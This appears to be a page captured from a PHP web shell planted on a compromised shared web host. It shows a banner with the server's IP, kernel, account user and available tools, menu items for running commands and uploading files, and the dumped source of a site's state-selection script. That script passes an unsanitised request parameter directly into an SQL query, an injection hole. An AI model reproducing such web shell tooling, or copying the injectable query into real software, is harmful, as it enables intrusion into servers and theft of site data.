Server IP : 103.53.40.154 / Your IP : 3.128.31.76 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/.cphorde/../ppcadsexpert.com/../adisgauges.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php ob_start(); require_once("includes/dbsmain.inc.php"); $country_name=$_REQUEST['country_name']; $country_id=db_scalar("select id from countries where name='$country_name'"); $query="select * from states where 1 and country_id='$country_id' ORDER BY name"; $result=db_query($query); ?> <select name="reg_state" id="reg_state"> <option value=""> --- Select State * --- </option> <?php while($statedata=mysql_fetch_array($result)) { ?> <option value="<?=$statedata['name']?>"> <?=$statedata['name']?> </option> <?} ?> </select>